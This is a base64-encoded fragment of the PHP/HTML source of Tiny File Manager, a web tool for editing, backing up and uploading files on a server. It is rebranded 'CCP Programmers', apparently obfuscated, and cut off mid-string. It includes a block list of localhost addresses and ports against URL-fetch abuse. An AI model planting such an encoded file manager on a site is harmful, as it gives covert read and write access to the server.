ICAgICAgPGRpdiBjbGFzcz1cIm1iLTNcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwiYnJhbmRcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHN2ZyB2ZXJzaW9uPVwiMS4wXCIgeG1sbnM9XCJodHRwOlwvXC93d3cudzMub3JnXC8yMDAwXC9zdmdcIiBNMTAwOCB3aWR0aD1cIjEwMCVcIiBoZWlnaHQ9XCI4MHB4XCIgdmlld0JveD1cIjAgMCAyMzguMDAwMDAwIDE0MC4wMDAwMDBcIiBhcmlhLWxhYmVsPVwiSDNLIFRpbnkgRmlsZSBNYW5hZ2VyXCI+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZyB0cmFuc2Zvcm09XCJ0cmFuc2xhdGUoMC4wMDAwMDAsMTQwLjAwMDAwMCkgc2NhbGUoMC4xMDAwMDAsLTAuMTAwMDAwKVwiIGZpbGw9XCIjMDAwMDAwXCIgc3Ryb2tlPVwibm9uZVwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxwYXRoIGQ9XCJNMTYwIDcwMCBsMCAtNjAwIDExMCAwIDExMCAwIDAgMjYwIDAgMjYwIDcwIDAgNzAgMCAwIC0yNjAgMCAtMjYwIDExMCAwIDExMCAwIDAgNjAwIDAgNjAwIC0xMTAgMCAtMTEwIDAgMCAtMjYwIDAgLTI2MCAtNzAgMCAtNzAgMCAwIDI2MCAwIDI2MCAtMTEwIDAgLTExMCAwIDAgLTYwMHpcIiBcLz5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8cGF0aCBmaWxsPVwiIzAwMzUwMFwiIGQ9XCJNMTAwOCAxMjI3IGwtMTA4IC03MiAwIC0xMTcgMCAtMTE4IDExMCAwIDExMCAwIDAgMTEwIDAgMTEwIDcwIDAgNzAgMCAwIC0xODAgMCAtMTgwIC0xMjUgMCBjLTY5IDAgLTEyNSAtMyAtMTI1IC02IDAgLTMgMjMgLTM5IDUyIC04MCBsNTIgLTc0IDczIDAgNzMgMCAwIC0xODUgMCAtMTg1IC03MCAwIC03MCAwIDAgMTE1IDAgMTE1IC0xMTAgMCAtMTEwIDAgMCAtMTkwIDAgLTE5MCAxODEgMCAxODEgMCAxMDkgNzMgMTA4IDcyIDEgMTgxIDAgMTgxIC02OSA0OCAtNjggNDkgNjggNTAgNjkgNDkgMCAyNDkgMCAyNDggLTE4MiAtMSAtMTgzIDAgLTEwNyAtNzJ6XCIgXC8+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHBhdGggZD1cIk0xNjQwIDcwMCBsMCAtNjAwIDExMCAwIDExMCAwIDAgMjA4IDAgMjA4IDM1IDM0IDM1IDM0IDM1IC0zNCAzNSAtMzQgMCAtMjA4IDAgLTIwOCAxMTAgMCAxMTAgMCAwIDIxMiAwIDIxMyAtODcgODcgLTg4IDg4IDg4IDg4IDg3IDg3IDAgMjEzIDAgMjEyIC0xMTAgMCAtMTEwIDAgMCAtMjA4IDAgLTIwOCAtNzAgLTY5IC03MCAtNjkgMCAyNzcgMCAyNzcgLTExMCAwIC0xMTAgMCAwIC02MDB6XCIgXC8+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8XC9nPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8XC9zdmc+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPFwvZGl2PlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9XCJ0ZXh0LWNlbnRlclwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aDEgY2xhc3M9XCJjYXJkLXRpdGxlXCI+PD9waHAgZWNobyBBUFBfVElUTEU7ID8+PFwvaDE+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPFwvZGl2PlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPFwvZGl2PlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGhyIFwvPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz1cIm1iLTNcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8bGFiZWwgZm9yPVwiZm1fdXNyXCIgY2xhc3M9XCJwYi0yXCI+PD9waHAgZWNobyBsbmcoJ1VzZXJuYW1lJyk7ID8+PFwvbGFiZWw+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9XCJ0ZXh0XCIgY2xhc3M9XCJmb3JtLWNvbnRyb2xcIiBpZD1cImZtX3VzclwiIG5hbWU9XCJmbV91c3JcIiByZXF1aXJlZCBhdXRvZm9jdXM+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8XC9kaXY+XG5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9XCJtYi0zXCI+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGxhYmVsIGZvcj1cImZtX3B3ZFwiIGNsYXNzPVwicGItMlwiPjw/cGhwIGVjaG8gbG5nKCdQYXNzd29yZCcpOyA/PjxcL2xhYmVsPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPVwicGFzc3dvcmRcIiBjbGFzcz1cImZvcm0tY29udHJvbFwiIGlkPVwiZm1fcHdkXCIgbmFtZT1cImZtX3B3ZFwiIHJlcXVpcmVkPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPFwvZGl2PlxuXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwibWItM1wiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwIGZtX3Nob3dfbWVzc2FnZSgpOyA/PlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPFwvZGl2PlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwidG9rZW5cIiB2YWx1ZT1cIjw/cGhwIGVjaG8gaHRtbGVudGl0aWVzKCRfU0VTU0lPTlsndG9rZW4nXSk7ID8+XCIgXC8+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwibWItM1wiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxidXR0b24gdHlwZT1cInN1Ym1pdFwiIGNsYXNzPVwiYnRuIGJ0bi1zdWNjZXNzIGJ0bi1ibG9jayB3LTEwMCBtdC00XCIgcm9sZT1cImJ1dHRvblwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8P3BocCBlY2hvIGxuZygnTG9naW4nKTsgPz5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8XC9idXR0b24+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxcL2Zvcm0+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPFwvZGl2PlxuICAgICAgICAgICAgICAgICAgICAgICAgPFwvZGl2PlxuICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz1cImZvb3RlciB0ZXh0LWNlbnRlclwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICZtZGFzaDsmbWRhc2g7ICZjb3B5O1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9XCJodHRwczpcL1wvdGlueWZpbGVtYW5hZ2VyLmdpdGh1Yi5pb1wvXCIgdGFyZ2V0PVwiX2JsYW5rXCIgY2xhc3M9XCJ0ZXh0LWRlY29yYXRpb24tbm9uZSB0ZXh0LW11dGVkXCIgZGF0YS12ZXJzaW9uPVwiPD9waHAgZWNobyBWRVJTSU9OOyA/PlwiPkNDUCBQcm9ncmFtbWVyczxcL2E+ICZtZGFzaDsmbWRhc2g7XG4gICAgICAgICAgICAgICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgICAgICAgICAgICAgIDxcL2Rpdj5cbiAgICAgICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgIDxcL3NlY3Rpb24+XG5cbiAgICA8P3BocFxuICAgICAgICBmbV9zaG93X2Zvb3Rlcl9sb2dpbigpO1xuICAgICAgICBleGl0O1xuICAgIH1cbn1cblxuaWYgKCR1c2VfYXV0aCAmJiBpc3NldCgkX1NFU1NJT05bRk1fU0VTU0lPTl9JRF1bJ2xvZ2dlZCddKSkge1xuICAgICRyb290X3BhdGggPSBpc3NldCgkZGlyZWN0b3JpZXNfdXNlcnNbJF9TRVNTSU9OW0ZNX1NFU1NJT05fSURdWydsb2dnZWQnXV0pID8gJGRpcmVjdG9yaWVzX3VzZXJzWyRfU0VTU0lPTltGTV9TRVNTSU9OX0lEXVsnbG9nZ2VkJ11dIDogJHJvb3RfcGF0aDtcbn1cblxuJHJvb3RfcGF0aCA9IHJ0cmltKCRyb290X3BhdGgsICdcXFxcXC8nKTtcbiRyb290X3BhdGggPSBzdHJfcmVwbGFjZSgnXFxcXCcsICdcLycsICRyb290X3BhdGgpO1xuaWYgKCFAaXNfZGlyKCRyb290X3BhdGgpKSB7XG4gICAgZWNobyBcIjxoMT5cIiAuIGxuZygnUm9vdCBwYXRoJykgLiBcIiBcXFwieyRyb290X3BhdGh9XFxcIiBcIiAuIGxuZygnbm90IGZvdW5kIScpIC4gXCIgPFwvaDE+XCI7XG4gICAgZXhpdDtcbn1cblxuZGVmaW5lZCgnRk1fU0hPV19ISURERU4nKSB8fCBkZWZpbmUoJ0ZNX1NIT1dfSElEREVOJywgJHNob3dfaGlkZGVuX2ZpbGVzKTtcbmRlZmluZWQoJ0ZNX1JPT1RfUEFUSCcpIHx8IGRlZmluZSgnRk1fUk9PVF9QQVRIJywgJHJvb3RfcGF0aCk7XG5kZWZpbmVkKCdGTV9MQU5HJykgfHwgZGVmaW5lKCdGTV9MQU5HJywgJGxhbmcpO1xuZGVmaW5lZCgnRk1fRklMRV9FWFRFTlNJT04nKSB8fCBkZWZpbmUoJ0ZNX0ZJTEVfRVhURU5TSU9OJywgJGFsbG93ZWRfZmlsZV9leHRlbnNpb25zKTtcbmRlZmluZWQoJ0ZNX1VQTE9BRF9FWFRFTlNJT04nKSB8fCBkZWZpbmUoJ0ZNX1VQTE9BRF9FWFRFTlNJT04nLCAkYWxsb3dlZF91cGxvYWRfZXh0ZW5zaW9ucyk7XG5kZWZpbmVkKCdGTV9FWENMVURFX0lURU1TJykgfHwgZGVmaW5lKCdGTV9FWENMVURFX0lURU1TJywgKHZlcnNpb25fY29tcGFyZShQSFBfVkVSU0lPTiwgJzcuMC4wJywgJzwnKSA/IHNlcmlhbGl6ZSgkZXhjbHVkZV9pdGVtcykgOiAkZXhjbHVkZV9pdGVtcykpO1xuZGVmaW5lZCgnRk1fRE9DX1ZJRVdFUicpIHx8IGRlZmluZSgnRk1fRE9DX1ZJRVdFUicsICRvbmxpbmVfdmlld2VyKTtcbmRlZmluZSgnRk1fUkVBRE9OTFknLCAkZ2xvYmFsX3JlYWRvbmx5IHx8ICgkdXNlX2F1dGggJiYgIWVtcHR5KCRyZWFkb25seV91c2VycykgJiYgaXNzZXQoJF9TRVNTSU9OW0ZNX1NFU1NJT05fSURdWydsb2dnZWQnXSkgJiYgaW5fYXJyYXkoJF9TRVNTSU9OW0ZNX1NFU1NJT05fSURdWydsb2dnZWQnXSwgJHJlYWRvbmx5X3VzZXJzKSkpO1xuZGVmaW5lKCdGTV9JU19XSU4nLCBESVJFQ1RPUllfU0VQQVJBVE9SID09ICdcXFxcJyk7XG5cbmlmICghaXNzZXQoJF9HRVRbJ3AnXSkgJiYgZW1wdHkoJF9GSUxFUykpIHtcbiAgICBmbV9yZWRpcmVjdChGTV9TRUxGX1VSTCAuICc/cD0nKTtcbn1cblxuJHAgPSBpc3NldCgkX0dFVFsncCddKSA/ICRfR0VUWydwJ10gOiAoaXNzZXQoJF9QT1NUWydwJ10pID8gJF9QT1NUWydwJ10gOiAnJyk7XG5cbiRwID0gZm1fY2xlYW5fcGF0aCgkcCk7XG5cbiRpbnB1dCA9IGZpbGVfZ2V0X2NvbnRlbnRzKCdwaHA6XC9cL2lucHV0Jyk7XG4kX1BPU1QgPSAoc3RycG9zKCRpbnB1dCwgJ2FqYXgnKSAhPSBGQUxTRSAmJiBzdHJwb3MoJGlucHV0LCAnc2F2ZScpICE9IEZBTFNFKSA/IGpzb25fZGVjb2RlKCRpbnB1dCwgdHJ1ZSkgOiAkX1BPU1Q7XG5cbmRlZmluZSgnRk1fUEFUSCcsICRwKTtcbmRlZmluZSgnRk1fVVNFX0FVVEgnLCAkdXNlX2F1dGgpO1xuZGVmaW5lKCdGTV9FRElUX0ZJTEUnLCAkZWRpdF9maWxlcyk7XG5kZWZpbmVkKCdGTV9JQ09OVl9JTlBVVF9FTkMnKSB8fCBkZWZpbmUoJ0ZNX0lDT05WX0lOUFVUX0VOQycsICRpY29udl9pbnB1dF9lbmNvZGluZyk7XG5kZWZpbmVkKCdGTV9VU0VfSElHSExJR0hUSlMnKSB8fCBkZWZpbmUoJ0ZNX1VTRV9ISUdITElHSFRKUycsICR1c2VfaGlnaGxpZ2h0anMpO1xuZGVmaW5lZCgnRk1fSElHSExJR0hUSlNfU1RZTEUnKSB8fCBkZWZpbmUoJ0ZNX0hJR0hMSUdIVEpTX1NUWUxFJywgJGhpZ2hsaWdodGpzX3N0eWxlKTtcbmRlZmluZWQoJ0ZNX0RBVEVUSU1FX0ZPUk1BVCcpIHx8IGRlZmluZSgnRk1fREFURVRJTUVfRk9STUFUJywgJGRhdGV0aW1lX2Zvcm1hdCk7XG5cbnVuc2V0KCRwLCAkdXNlX2F1dGgsICRpY29udl9pbnB1dF9lbmNvZGluZywgJHVzZV9oaWdobGlnaHRqcywgJGhpZ2hsaWdodGpzX3N0eWxlKTtcblxuXG5pZiAoKGlzc2V0KCRfU0VTU0lPTltGTV9TRVNTSU9OX0lEXVsnbG9nZ2VkJ10sICRhdXRoX3VzZXJzWyRfU0VTU0lPTltGTV9TRVNTSU9OX0lEXVsnbG9nZ2VkJ11dKSB8fCAhRk1fVVNFX0FVVEgpICYmIGlzc2V0KCRfUE9TVFsnYWpheCddLCAkX1BPU1RbJ3Rva2VuJ10pKSB7XG4gICAgaWYgKCF2ZXJpZnlUb2tlbigkX1BPU1RbJ3Rva2VuJ10pKSB7XG4gICAgICAgIGhlYWRlcignSFRUUFwvMS4wIDQwMSBVbmF1dGhvcml6ZWQnKTtcbiAgICAgICAgZGllKFwiSW52YWxpZCBUb2tlbi5cIik7XG4gICAgfVxuXG4gICAgaWYgKGlzc2V0KCRfUE9TVFsndHlwZSddKSAmJiAkX1BPU1RbJ3R5cGUnXSA9PSBcInNlYXJjaFwiKSB7XG4gICAgICAgICRkaXIgPSAkX1BPU1RbJ3BhdGgnXSA9PSBcIi5cIiA/ICcnIDogJF9QT1NUWydwYXRoJ107XG4gICAgICAgICRyZXNwb25zZSA9IHNjYW4oZm1fY2xlYW5fcGF0aCgkZGlyKSwgJF9QT1NUWydjb250ZW50J10pO1xuICAgICAgICBlY2hvIGpzb25fZW5jb2RlKCRyZXNwb25zZSk7XG4gICAgICAgIGV4aXQoKTtcbiAgICB9XG5cbiAgICBpZihGTV9SRUFET05MWSl7XG4gICAgICAgIGV4aXQoKTtcbiAgICB9XG5cbiAgICBpZiAoaXNzZXQoJF9QT1NUWyd0eXBlJ10pICYmICRfUE9TVFsndHlwZSddID09IFwic2F2ZVwiKSB7XG4gICAgICAgICRwYXRoID0gRk1fUk9PVF9QQVRIO1xuICAgICAgICBpZiAoRk1fUEFUSCAhPSAnJykge1xuICAgICAgICAgICAgJHBhdGggLj0gJ1wvJyAuIEZNX1BBVEg7XG4gICAgICAgIH1cbiAgICAgICAgaWYgKCFpc19kaXIoJHBhdGgpKSB7XG4gICAgICAgICAgICBmbV9yZWRpcmVjdChGTV9TRUxGX1VSTCAuICc/cD0nKTtcbiAgICAgICAgfVxuICAgICAgICAkZmlsZSA9ICRfR0VUWydlZGl0J107XG4gICAgICAgICRmaWxlID0gZm1fY2xlYW5fcGF0aCgkZmlsZSk7XG4gICAgICAgICRmaWxlID0gc3RyX3JlcGxhY2UoJ1wvJywgJycsICRmaWxlKTtcbiAgICAgICAgaWYgKCRmaWxlID09ICcnIHx8ICFpc19maWxlKCRwYXRoIC4gJ1wvJyAuICRmaWxlKSkge1xuICAgICAgICAgICAgZm1fc2V0X21zZyhsbmcoJ0ZpbGUgbm90IGZvdW5kJyksICdlcnJvcicpO1xuICAgICAgICAgICAgJEZNX1BBVEggPSBGTV9QQVRIO1xuICAgICAgICAgICAgZm1fcmVkaXJlY3QoRk1fU0VMRl9VUkwgLiAnP3A9JyAuIHVybGVuY29kZSgkRk1fUEFUSCkpO1xuICAgICAgICB9XG4gICAgICAgIGhlYWRlcignWC1YU1MtUHJvdGVjdGlvbjowJyk7XG4gICAgICAgICRmaWxlX3BhdGggPSAkcGF0aCAuICdcLycgLiAkZmlsZTtcblxuICAgICAgICAkd3JpdGVkYXRhID0gJF9QT1NUWydjb250ZW50J107XG4gICAgICAgICRmZCA9IGZvcGVuKCRmaWxlX3BhdGgsIFwid1wiKTtcbiAgICAgICAgJHdyaXRlX3Jlc3VsdHMgPSBAZndyaXRlKCRmZCwgJHdyaXRlZGF0YSk7XG4gICAgICAgIGZjbG9zZSgkZmQpO1xuICAgICAgICBpZiAoJHdyaXRlX3Jlc3VsdHMgPT09IGZhbHNlKSB7XG4gICAgICAgICAgICBoZWFkZXIoXCJIVFRQXC8xLjEgNTAwIEludGVybmFsIFNlcnZlciBFcnJvclwiKTtcbiAgICAgICAgICAgIGRpZShcIkNvdWxkIE5vdCBXcml0ZSBGaWxlISAtIENoZWNrIFBlcm1pc3Npb25zIFwvIE93bmVyc2hpcFwiKTtcbiAgICAgICAgfVxuICAgICAgICBkaWUodHJ1ZSk7XG4gICAgfVxuXG4gICAgaWYgKGlzc2V0KCRfUE9TVFsndHlwZSddKSAmJiAkX1BPU1RbJ3R5cGUnXSA9PSBcImJhY2t1cFwiICYmICFlbXB0eSgkX1BPU1RbJ2ZpbGUnXSkpIHtcbiAgICAgICAgJGZpbGVOYW1lID0gZm1fY2xlYW5fcGF0aCgkX1BPU1RbJ2ZpbGUnXSk7XG4gICAgICAgICRmdWxsUGF0aCA9IEZNX1JPT1RfUEFUSCAuICdcLyc7XG4gICAgICAgIGlmICghZW1wdHkoJF9QT1NUWydwYXRoJ10pKSB7XG4gICAgICAgICAgICAkcmVsYXRpdmVEaXJQYXRoID0gZm1fY2xlYW5fcGF0aCgkX1BPU1RbJ3BhdGgnXSk7XG4gICAgICAgICAgICAkZnVsbFBhdGggLj0gXCJ7JHJlbGF0aXZlRGlyUGF0aH1cL1wiO1xuICAgICAgICB9XG4gICAgICAgICRkYXRlID0gZGF0ZShcImRNeS1IaXNcIik7XG4gICAgICAgICRuZXdGaWxlTmFtZSA9IFwieyRmaWxlTmFtZX0teyRkYXRlfS5iYWtcIjtcbiAgICAgICAgJGZ1bGx5UXVhbGlmaWVkRmlsZU5hbWUgPSAkZnVsbFBhdGggLiAkZmlsZU5hbWU7XG4gICAgICAgIHRyeSB7XG4gICAgICAgICAgICBpZiAoIWZpbGVfZXhpc3RzKCRmdWxseVF1YWxpZmllZEZpbGVOYW1lKSkge1xuICAgICAgICAgICAgICAgIHRocm93IG5ldyBFeGNlcHRpb24oXCJGaWxlIHskZmlsZU5hbWV9IG5vdCBmb3VuZFwiKTtcbiAgICAgICAgICAgIH1cbiAgICAgICAgICAgIGlmIChjb3B5KCRmdWxseVF1YWxpZmllZEZpbGVOYW1lLCAkZnVsbFBhdGggLiAkbmV3RmlsZU5hbWUpKSB7XG4gICAgICAgICAgICAgICAgZWNobyBcIkJhY2t1cCB7JG5ld0ZpbGVOYW1lfSBjcmVhdGVkXCI7XG4gICAgICAgICAgICB9IGVsc2Uge1xuICAgICAgICAgICAgICAgIHRocm93IG5ldyBFeGNlcHRpb24oXCJDb3VsZCBub3QgY29weSBmaWxlIHskZmlsZU5hbWV9XCIpO1xuICAgICAgICAgICAgfVxuICAgICAgICB9IGNhdGNoIChFeGNlcHRpb24gJGUpIHtcbiAgICAgICAgICAgIGVjaG8gJGUtPmdldE1lc3NhZ2UoKTtcbiAgICAgICAgfVxuICAgIH1cblxuICAgIGlmIChpc3NldCgkX1BPU1RbJ3R5cGUnXSkgJiYgJF9QT1NUWyd0eXBlJ10gPT0gXCJzZXR0aW5nc1wiKSB7XG4gICAgICAgIGdsb2JhbCAkY2ZnLCAkbGFuZywgJHJlcG9ydF9lcnJvcnMsICRzaG93X2hpZGRlbl9maWxlcywgJGxhbmdfbGlzdCwgJGhpZGVfQ29scywgJHRoZW1lO1xuICAgICAgICAkbmV3TG5nID0gJF9QT1NUWydqcy1sYW5ndWFnZSddO1xuICAgICAgICBmbV9nZXRfdHJhbnNsYXRpb25zKFtdKTtcbiAgICAgICAgaWYgKCFhcnJheV9rZXlfZXhpc3RzKCRuZXdMbmcsICRsYW5nX2xpc3QpKSB7XG4gICAgICAgICAgICAkbmV3TG5nID0gJ2VuJztcbiAgICAgICAgfVxuXG4gICAgICAgICRlcnAgPSBpc3NldCgkX1BPU1RbJ2pzLWVycm9yLXJlcG9ydCddKSAmJiAkX1BPU1RbJ2pzLWVycm9yLXJlcG9ydCddID09IFwidHJ1ZVwiID8gdHJ1ZSA6IGZhbHNlO1xuICAgICAgICAkc2hmID0gaXNzZXQoJF9QT1NUWydqcy1zaG93LWhpZGRlbiddKSAmJiAkX1BPU1RbJ2pzLXNob3ctaGlkZGVuJ10gPT0gXCJ0cnVlXCIgPyB0cnVlIDogZmFsc2U7XG4gICAgICAgICRoY28gPSBpc3NldCgkX1BPU1RbJ2pzLWhpZGUtY29scyddKSAmJiAkX1BPU1RbJ2pzLWhpZGUtY29scyddID09IFwidHJ1ZVwiID8gdHJ1ZSA6IGZhbHNlO1xuICAgICAgICAkdGUzID0gJF9QT1NUWydqcy10aGVtZS0zJ107XG5cbiAgICAgICAgaWYgKCRjZmctPmRhdGFbJ2xhbmcnXSAhPSAkbmV3TG5nKSB7XG4gICAgICAgICAgICAkY2ZnLT5kYXRhWydsYW5nJ10gPSAkbmV3TG5nO1xuICAgICAgICAgICAgJGxhbmcgPSAkbmV3TG5nO1xuICAgICAgICB9XG4gICAgICAgIGlmICgkY2ZnLT5kYXRhWydlcnJvcl9yZXBvcnRpbmcnXSAhPSAkZXJwKSB7XG4gICAgICAgICAgICAkY2ZnLT5kYXRhWydlcnJvcl9yZXBvcnRpbmcnXSA9ICRlcnA7XG4gICAgICAgICAgICAkcmVwb3J0X2Vycm9ycyA9ICRlcnA7XG4gICAgICAgIH1cbiAgICAgICAgaWYgKCRjZmctPmRhdGFbJ3Nob3dfaGlkZGVuJ10gIT0gJHNoZikge1xuICAgICAgICAgICAgJGNmZy0+ZGF0YVsnc2hvd19oaWRkZW4nXSA9ICRzaGY7XG4gICAgICAgICAgICAkc2hvd19oaWRkZW5fZmlsZXMgPSAkc2hmO1xuICAgICAgICB9XG4gICAgICAgIGlmICgkY2ZnLT5kYXRhWydzaG93X2hpZGRlbiddICE9ICRzaGYpIHtcbiAgICAgICAgICAgICRjZmctPmRhdGFbJ3Nob3dfaGlkZGVuJ10gPSAkc2hmO1xuICAgICAgICAgICAgJHNob3dfaGlkZGVuX2ZpbGVzID0gJHNoZjtcbiAgICAgICAgfVxuICAgICAgICBpZiAoJGNmZy0+ZGF0YVsnaGlkZV9Db2xzJ10gIT0gJGhjbykge1xuICAgICAgICAgICAgJGNmZy0+ZGF0YVsnaGlkZV9Db2xzJ10gPSAkaGNvO1xuICAgICAgICAgICAgJGhpZGVfQ29scyA9ICRoY287XG4gICAgICAgIH1cbiAgICAgICAgaWYgKCRjZmctPmRhdGFbJ3RoZW1lJ10gIT0gJHRlMykge1xuICAgICAgICAgICAgJGNmZy0+ZGF0YVsndGhlbWUnXSA9ICR0ZTM7XG4gICAgICAgICAgICAkdGhlbWUgPSAkdGUzO1xuICAgICAgICB9XG4gICAgICAgICRjZmctPnNhdmUoKTtcbiAgICAgICAgZWNobyB0cnVlO1xuICAgIH1cblxuICAgIGlmIChpc3NldCgkX1BPU1RbJ3R5cGUnXSkgJiYgJF9QT1NUWyd0eXBlJ10gPT0gXCJwd2RoYXNoXCIpIHtcbiAgICAgICAgJHJlcyA9IGlzc2V0KCRfUE9TVFsnaW5wdXRQYXNzd29yZDInXSkgJiYgIWVtcHR5KCRfUE9TVFsnaW5wdXRQYXNzd29yZDInXSkgPyBwYXNzd29yZF9oYXNoKCRfUE9TVFsnaW5wdXRQYXNzd29yZDInXSwgUEFTU1dPUkRfREVGQVVMVCkgOiAnJztcbiAgICAgICAgZWNobyAkcmVzO1xuICAgIH1cblxuICAgIGlmIChpc3NldCgkX1BPU1RbJ3R5cGUnXSkgJiYgJF9QT1NUWyd0eXBlJ10gPT0gXCJ1cGxvYWRcIiAmJiAhZW1wdHkoJF9SRVFVRVNUW1widXBsb2FkdXJsXCJdKSkge1xuICAgICAgICAkcGF0aCA9IEZNX1JPT1RfUEFUSDtcbiAgICAgICAgaWYgKEZNX1BBVEggIT0gJycpIHtcbiAgICAgICAgICAgICRwYXRoIC49ICdcLycgLiBGTV9QQVRIO1xuICAgICAgICB9XG5cbiAgICAgICAgZnVuY3Rpb24gZXZlbnRfY2FsbGJhY2soJG1lc3NhZ2UpXG4gICAgICAgIHtcbiAgICAgICAgICAgIGdsb2JhbCAkY2FsbGJhY2s7XG4gICAgICAgICAgICBlY2hvIGpzb25fZW5jb2RlKCRtZXNzYWdlKTtcbiAgICAgICAgfVxuXG4gICAgICAgIGZ1bmN0aW9uIGdldF9maWxlX3BhdGgoKVxuICAgICAgICB7XG4gICAgICAgICAgICBnbG9iYWwgJHBhdGgsICRmaWxlaW5mbywgJHRlbXBfZmlsZTtcbiAgICAgICAgICAgIHJldHVybiAkcGF0aCAuIFwiXC9cIiAuIGJhc2VuYW1lKCRmaWxlaW5mby0+bmFtZSk7XG4gICAgICAgIH1cblxuICAgICAgICAkdXJsID0gIWVtcHR5KCRfUkVRVUVTVFtcInVwbG9hZHVybFwiXSkgJiYgcHJlZ19tYXRjaChcInxeaHR0cChzKT86XC9cLy4rJHxcIiwgc3RyaXBzbGFzaGVzKCRfUkVRVUVTVFtcInVwbG9hZHVybFwiXSkpID8gc3RyaXBzbGFzaGVzKCRfUkVRVUVTVFtcInVwbG9hZHVybFwiXSkgOiBudWxsO1xuXG4gICAgICAgICRkb21haW4gPSBwYXJzZV91cmwoJHVybCwgUEhQX1VSTF9IT1NUKTtcbiAgICAgICAgJHBvcnQgPSBwYXJzZV91cmwoJHVybCwgUEhQX1VSTF9QT1JUKTtcbiAgICAgICAgJGtub3duUG9ydHMgPSBbMjIsIDIzLCAyNSwgMzMwNl07XG5cbiAgICAgICAgaWYgKHByZWdfbWF0Y2goXCJcL15sb2NhbGhvc3QkfF4xMjcoPzpcXC5bMC05XSspezAsMn1cXC5bMC05XSskfF4oPzowKlxcOikqPzo/MCoxJFwvaVwiLCAkZG9tYWluKSB8fCBpbl9hcnJheSgkcG9ydCwgJGtub3duUG9ydHMpKSB7XG4gICAgICAgICAgICAkZXJyID0gYXJyYXkoXCJtZXNzYWdlXCIgPT4gXCJVUkwgaXMgbm90IGFsbG93ZWRcIik7XG4gICAgICAgICAgICBldmVudF9jYWxsYmFjayhhcnJheShcImZhaWxcIiA9PiAkZXJyKSk7XG4gICAgICAgICAgICBleGl0KCk7XG4gICAgICAgIH1cblxuICAgICAgICAkdXNlX2N1cmwgPSBmYWxzZTtcbiAgICAgICAgJHRlbXBfZmlsZSA9IHRlbXBuYW0oc3lzX2dldF90ZW1wX2RpcigpLCBcInVwbG9hZC1cIik7XG4gICAgICAgICRmaWxlaW5mbyA9IG5ldyBzdGRDbGFzcygpO1xuICAgICAgICAkZmlsZWluZm8tPm5hbWUgPSB0cmltKHVybGRlY29kZShiYXNlbmFtZSgkdXJsKSksIFwiLlxceDAwLi5cXHgyMFwiKTtcblxuICAgICAgICAkYWxsb3dlZCA9IChGTV9VUExPQURfRVhURU5TSU9OKSA/IGV4cGxvZGUoJywnLCBGTV9VUExPQURfRVhURU5TSU9OKSA6IGZhbHNlO1xuICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihwYXRoaW5mbygkZmlsZWluZm8tPm5hbWUsIFBBVEhJTkZPX0VYVEVOU0lPTikpO1xuICAgICAgICAkaXNGaWxlQWxsb3dlZCA9ICgkYWxsb3dlZCkgPyBpbl9hcnJheSgkZXh0LCAkYWxsb3dlZCkgOiB0cnVlO1xuXG4gICAgICAgICRlcnIgPSBmYWxzZTtcblxuICAgICAgICBpZiAoISRpc0ZpbGVBbGxvd2VkKSB7XG4gICAgICAgICAgICAkZXJyID0gYXJyYXkoXCJtZXNzYWd